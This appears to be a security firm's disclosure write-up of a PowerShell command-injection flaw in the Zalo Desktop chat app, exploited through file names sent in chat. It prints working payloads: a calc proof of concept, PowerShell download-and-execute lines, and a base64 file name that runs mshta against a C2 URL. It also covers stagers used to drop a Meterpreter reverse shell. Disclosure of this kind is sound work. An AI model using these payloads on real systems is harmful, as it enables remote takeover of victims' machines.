Zalo is a chat application on the rise and exceedingly popular in South-East Asia with a user base of over 100 million. In a number of countries, including Vietnam and Myanmar, the application rivals WhatsApp and Facebook Messenger as the most popular chat application. Zalo’s functionality continues to expand with Zalo Pay and Zalo Shop emerging among many new features on the burgeoning super app.

With Coronavirus forcing many to work from home, people are using a wide array of chat applications to simplify remote working. Zalo first came into our focus when ThreatSpike EDR detected an interesting process chain: Zalo.exe opening PowerShell.

Command Line
powershell.exe "start \"c:\users\USERNAME\documents\zalo received files\phao vni.pdf\""
Parent Processes
c:\program files\windowsapps\vngonline.zalofordesktop_19.8.1.0_x64__z59ddpn1nx8g0\app\zalo.exe [11700]
c:\program files\windowsapps\vngonline.zalofordesktop_19.8.1.0_x64__z59ddpn1nx8g0\app\zalo.exe [14736]
c:\windows\explorer.exe [10172]

Like most messaging apps, Zalo allows users to send each other documents. At first glance, it seems PowerShell is being called by Zalo.exe to open files received through the application. We confirmed this was the case by manually testing and using ProcMon to monitor child processes being created.

To the developer, this probably seemed like an easy way to open a file as PowerShell takes care of choosing which application to use. However, the use of double quotation marks to wrap the file path in the PowerShell command is dangerous. PowerShell, when using double quotes (rather than single quotes) allows you to embed expressions within strings, for example:

In this case, the user sending the file in Zalo is in control of the filename, so they can easily embed an expression in the name which will be executed on the receiving user’s machine if not properly escaped by Zalo.

To confirm our suspicions, we sent a file named ‘$(calc).txt’ to a user via the chat application. If there was proper escaping, when the remote user double-clicked on the file in the chat window, Notepad would open up a file called ‘$(calc).txt’. What we saw instead was Calculator popping up on the remote machine confirming that there was indeed an arbitrary Remote Code Execution vulnerability in the Zalo Desktop application (version As seen in the screenshot of ProcMon, Zalo opens PowerShell which, running the filename as a command, opens the Calculator.

Ok so we can open the calculator. But how do we weaponise this? There are some restrictions on what content is allowed in filenames on Windows:

  • The filename must not exceed 255 characters in length
  • Characters “/”, “\” “|” “<”, “>”, “:”, “*” and “?” are forbidden
  • The obvious solution to the forbidden character problem is encoding; PowerShell tends to work particularly well with base64 encoded commands using the ‘-encodedCommand’ flag. However, encoding can extend the file name significantly, possibly past the 255 limit.

    The simplest way to try and weaponise this PowerShell injection vulnerability was to initiate a web download from the filename itself. A common way of doing this in PowerShell is given below:

      (New-Object System.Net.WebClient).DownloadFile(“”,"/path/to/download"); Start-Process ("path/to/download/bad.exe")

    However, once this command is encoded it exceeds the maximum default filename length. Instead of the clunky PowerShell command above we could use an alias of Invoke-WebRequest, wget, which yields something along the lines of the following command to be encoded:

      wget -OutFile `"C:\Users\$env:username\Documents\Zalo Received Files\test.ps1`"

    However, again this requires specifying the path of the file to be executed meaning the encoded value is too long for the filename. We are going to have to get creative to weaponise this.

    The ideal scenario would include downloading the malicious commands from a short URL and executing it on the fly, without having to specify a file path. Additionally, we would want to live off the land as much as possible to minimise the number of things we have to download.

    We began to consider Windows executables besides PowerShell which were capable of downloading and executing arbitrary code in memory. Luckily, the list of Windows utilities that can be weaponised in this manner is always growing. Our first target was mshta.exe. Mshta is capable of downloading a HTML Application (HTA) file from a remote server and executing it on the fly, within mshta’s memory space. It ticks all the boxes:

  • Windows executable
  • Executes commands in memory (no need to specify file path)
  • Takes a URL as a parameter
  • Short command: mshta {url}
  • The brevity of the mshta command allows it to fit within the 255 character filename limit without using any special characters:

    $(powershell.exe -eNco bXNodGEgaHR0cHM6Ly9jMi5pcC5hZGQucmVzL20=)      

    As seen in ProcMon, this all works perfectly; Zalo opens up powershell which decodes the mshta command and executes our chosen attack. Using mshta as a stager we can download all manner of malicious executables: keyloggers, ransomware or whatever else we need to further our attack. In this example, a Meterpreter reverse shell payload was delivered using a malicious HTA file.

    We can go from a single chat message to fully owning a PC with just a filename. Moreover, mshta isn’t the only Windows stager available, wmic, rundll, regsvr can all be used in a similar way to execute code from a filename. Here wmic and regsvr are seen as child processes of Zalo.exe after successful injection of commands into the PowerShell argument.

    In the end this vulnerability, like most others, stems from incorrect input sanitisation. The developers didn’t adequately consider the possibility that a malicious actor might abuse the file name to execute code.

    On notifying Zalo of this vulnerability, they were immediately responsive and quick to issue out an update, signifying the company’s commitment to security.